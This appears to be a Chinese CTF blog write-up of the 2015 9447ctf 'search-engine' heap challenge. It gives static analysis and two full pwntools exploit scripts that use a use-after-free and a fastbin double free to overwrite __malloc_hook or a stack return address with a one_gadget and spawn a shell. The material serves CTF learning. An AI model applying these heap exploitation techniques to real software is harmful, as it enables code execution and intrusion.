2015 9447ctf search-engine

两种做法,打栈或者malloc_hook。fastbin_dup_into_stack只是fake chunk在栈上没啥好写的就不写专门的博客了
感想:好坐牢好坐牢这道题真的做的好坐牢(╯‵□′)╯︵┻━┻!!!静态分析还是不行呜呜呜

静态分析

主要两个功能函数,一个输入sentence提取其中的word加入链表(2-index),另一个查找单词(1-search)

主要分析四个函数,index和search两个功能函数,read_num读取操作数的函数(fastbin_dup_into_stack用),read_enter读入内容

read_enter

三个参数a1,a2,a3:

  • a1是字符写入的地址
  • a2是读入字节个数
  • a3是一个选项。a3==1时表示遇到’\n’时读入终止并将’\n’换成空字符,a3==0时直到读入a2字节程序终止,没有结束符

read_num

  • read_enter读入48字节,允许’\n’提前终止读入
  • nptr转换为数字,如果输入非数字会输出输入内容,递归执行read_num

index

  • malloc一个sentence chunk,读入句子(固定长度读入且无结束符)并初始化一些变量
  • 初始化第一个word chunk。word chunk存五个地址:word的地址(指向sentence chunk内)、word的长度、sentence的地址,sentence的长度、下一个word chunk的地址
  • 分词,将word链入链表

流程不难,就是要注意第17行的判断(静态分析的时候没注意导致坐牢巨久)

两种方法

打malloc_hook

泄露libc基址

由于search会在删除sentence后清空chunk,所以可以通过search相同size的空字符找到相应的word chunk,实现uaf
注意申请chunk的size对齐0x10,不然next chunk的presize会被使用,free进unsorted bin会设置presize造成这部分内容不空,如下图所示

制造fastbin double free

这道题制造double free的时候不一样的一点是要malloc三个块而不是两个。因为search时会先检测sentence是否为空,而fastbin的最后一个chunk的fd指针(chunk的data段开始)为null那么就相当于sentence为空,遍历链表的时候会跳过。所以第一个free的chunk是没法用的。

改fd打malloc_hook

这就没啥了,套路

exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'

def add(size,sentence):
p.sendlineafter(b'3: Quit\n',b'2')
p.sendlineafter(b'Enter the sentence size:\n',str(size).encode())
p.sendafter(b'Enter the sentence:\n',sentence)
def index(size,word,delete):
p.sendlineafter(b'3: Quit\n',b'1')
p.sendlineafter(b'Enter the word size:\n',str(size).encode())
p.sendafter(b'Enter the word:\n',word)
p.recvuntil(b': ')
s=p.recvuntil(b'Delete')
p.sendlineafter(b' this sentence (y/n)?\n',delete)
return s

p=process('./search')
#gdb.attach(p)
libc=ELF('./glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')
add(0x10a,b'a'*0x108+b' b')
x=index(1,b'b',b'y')
x=index(1,b'\x00',b'n')
libcbase=u64(x[:8])-libc.symbols['__malloc_hook']-0x68
print(hex(libcbase))
add(0x60,b'a'*0x5d+b' dd')
add(0x60,b'b'*0x5d+b' dd')
add(0x60,b'c'*0x5d+b' dd')
p.sendlineafter(b'3: Quit\n',b'1')
p.sendlineafter(b'Enter the word size:\n',b'2')
p.sendafter(b'Enter the word:\n',b'dd')
p.sendlineafter(b'Delete this sentence (y/n)?\n',b'y')
p.sendlineafter(b'Delete this sentence (y/n)?\n',b'y')
p.sendlineafter(b'Delete this sentence (y/n)?\n',b'y')
p.sendlineafter(b'3: Quit\n',b'1')
p.sendlineafter(b'Enter the word size:\n',b'2')
p.sendafter(b'Enter the word:\n',b'\x00\x00')
p.sendlineafter(b'Delete this sentence (y/n)?\n',b'y')
p.sendlineafter(b'Delete this sentence (y/n)?\n',b'y')
malloc_addr=libcbase+libc.symbols['__malloc_hook']
one_addr=libcbase+0xf0897
add(0x60,p64(malloc_addr-0x23)+b'0'*0x58)
add(0x60,b'z'*0x60)
add(0x60,b'x'*0x60)
#gdb.attach(p)
add(0x60,b'a'*0x13+p64(one_addr)+(0x60-8-0x13)*b'c')
#p.recv()
p.interactive()

打栈

跟上一种方法不一样的点就是开始要泄露栈地址以及在最后在栈上找fake chunk

泄露栈地址

就是利用read_enter读入48字节时不添加结束符和read_num如果输入非数字的话会输出输入的字符串(且递归调用自己)泄露栈上的内容
调用两次就能泄露出一个栈上的地址

找fake chunk

这里我们劫持main函数的返回地址__libc_start_main+240,可以利用gdb的find_fake_fast找fake chunk

注:我最开始想劫持sub_400D60的返回地址。最开始找了个7f的fake chunk,但显示malloc(): memory corruption (fast)了。最后发现是因为malloc的时候栈上的内容改变导致7f没了

exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'

def add(size,sentence):
p.sendlineafter(b'3: Quit\n',b'2')
p.sendlineafter(b'Enter the sentence size:\n',str(size).encode())
p.sendafter(b'Enter the sentence:\n',sentence)
def index(size,word,delete):
p.sendlineafter(b'3: Quit\n',b'1')
p.sendlineafter(b'Enter the word size:\n',str(size).encode())
p.sendafter(b'Enter the word:\n',word)
p.recvuntil(b': ')
s=p.recvuntil(b'Delete')
p.sendlineafter(b' this sentence (y/n)?\n',delete)
return s

p=process('./search')
#gdb.attach(p)
libc=ELF('./glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')
p.sendlineafter(b'3: Quit\n',b'a'*48)
p.sendlineafter(b'is not a valid number\n',b'a'*48)
p.recvuntil(b'a'*48)
stack=u64(p.recv()[:6].ljust(8,b'\x00'))+0x68
#gdb.attach(p)
p.sendline(b'2')
p.sendlineafter(b'Enter the sentence size:\n',b'0x10a')
p.sendafter(b'Enter the sentence:\n',b'a'*0x108+b' b')
#add(0x10a,b'a'*0x108+b' b')
x=index(1,b'b',b'y')
x=index(1,b'\x00',b'n')
libcbase=u64(x[:8])-libc.symbols['__malloc_hook']-0x68
print(hex(libcbase))
print(hex(stack))
add(0x30,b'a'*0x2d+b' dd')
add(0x30,b'b'*0x2d+b' dd')
add(0x30,b'c'*0x2d+b' dd')
p.sendlineafter(b'3: Quit\n',b'1')
p.sendlineafter(b'Enter the word size:\n',b'2')
p.sendafter(b'Enter the word:\n',b'dd')
p.sendlineafter(b'Delete this sentence (y/n)?\n',b'y')
p.sendlineafter(b'Delete this sentence (y/n)?\n',b'y')
p.sendlineafter(b'Delete this sentence (y/n)?\n',b'y')
p.sendlineafter(b'3: Quit\n',b'1')
p.sendlineafter(b'Enter the word size:\n',b'2')
p.sendafter(b'Enter the word:\n',b'\x00\x00')
p.sendlineafter(b'Delete this sentence (y/n)?\n',b'y')
p.sendlineafter(b'Delete this sentence (y/n)?\n',b'y')
#malloc_addr=libcbase+libc.symbols['__malloc_hook']
one_addr=libcbase+0xf0897
add(0x30,p64(stack-0x16)+b'0'*0x28)
add(0x30,b'z'*0x30)
add(0x30,b'x'*0x30)
gdb.attach(p)
add(0x30,b'a'*6+p64(one_addr)+(0x30-8-6)*b'c')
p.sendlineafter(b'3: Quit\n',b'3')
#p.recv()
p.interactive()

2015 9447ctf search-engine
http://akaieurus.github.io/2023/01/31/2015-9447ctf-search-engine/
作者
Eurus
发布于
2023年1月31日
许可协议